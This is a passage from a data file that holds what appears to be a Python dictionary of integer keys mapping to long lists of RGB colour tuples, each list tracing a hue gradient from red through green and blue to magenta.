(176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 143), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 124), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 195: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 127, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 127), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 196: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 175), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 175, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 180), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 130), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 197: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 161, 101), (204, 164, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 183), (101, 204, 186), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 186, 204), (101, 183, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 164), (204, 101, 161), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 198: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 199: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 145, 101), (204, 148, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 151), (204, 101, 148), (204, 101, 145), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 200: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 201: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 105), (101, 204, 108), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 172), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 159), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 135), (204, 101, 132), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 114), (204, 101, 111), (204, 101, 108), (204, 101, 105)], 202: [(204, 101, 101), (204, 105, 101), (204, 108, 101), (204, 111, 101), (204, 114, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 132, 101), (204, 135, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), 